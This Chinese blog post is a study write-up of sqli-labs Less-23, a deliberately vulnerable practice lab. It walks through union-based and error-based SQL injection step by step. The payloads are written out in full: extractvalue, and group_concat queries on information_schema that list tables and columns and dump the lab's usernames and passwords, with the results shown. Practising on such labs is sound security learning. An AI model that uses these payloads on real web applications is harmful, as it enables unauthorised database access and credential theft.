Sqli-labs 复习 Less23 错误型联合查询 - GET

版权声明:本文为博主原创连载文章,为了内容连贯性,未经博主允许不得转载。 https://blog.csdn.net/Kevinhanser/article/details/81592493

之前学习了一遍 sqli-labs,这是巩固复习一遍,代码全部手敲,加深印象

Sqli-labs 博客目录

错误型 union 联合查询

原理介绍

  1. sql 语句

    SELECT * FROM users WHERE id=’-1’ union select 1,@@datadir,’3’ limit 0,1

  2. 测试语句

    ?id=-1’union select 1,@@datadir,’3

  3. 为什么要用 id=-1

    因为 sql 语句执行了两个 select 语句,第一个 select 为 id 的选择语句,第二个为我们构造的 select 语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个 select 要没有结果,所以 -1 或者超过数据库所有数据都可以。

  4. 如何构造

    -1’ union select 1,@@datadir,’3,第一个’(单引号)闭合 -1,第二个’(单引号)闭合后面的。这样将查询内容显示在 username 处。

  5. 其他注入方法

    此处可以报错注入, 延时注入, 可以利用 ’ or ‘1’=’1 进行闭合。

    报错注入:
    ?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='
    

Less-23 错误型 union 联合查询

  1. 测试

    ?id=1” or 1=1#

  2. 猜数据库

    ?id=-1’ union select 1,(select database() limit 0,1),’3

    结果为 security

  3. 猜表名

    ?id=-1’ union select 1,(select (group_concat(table_name)) from information_schema.tables where table_schema=’security’ limit 0,1),’3

    结果为 emails,referers,uagents,users

  4. 猜列名

    ?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=’users’ and table_schema=’security’ limit 0,1),’3

    结果为 id,username,password

  5. 猜数据

    ?id=-1’ union select 1,(select group_concat(username) from security.users limit 0,1),’3
    ?id=-1’ union select 1,(select group_concat(password) from security.users limit 0,1),’3

    结果为

    username: Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
    password: Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
    
阅读更多

没有更多推荐了,返回首页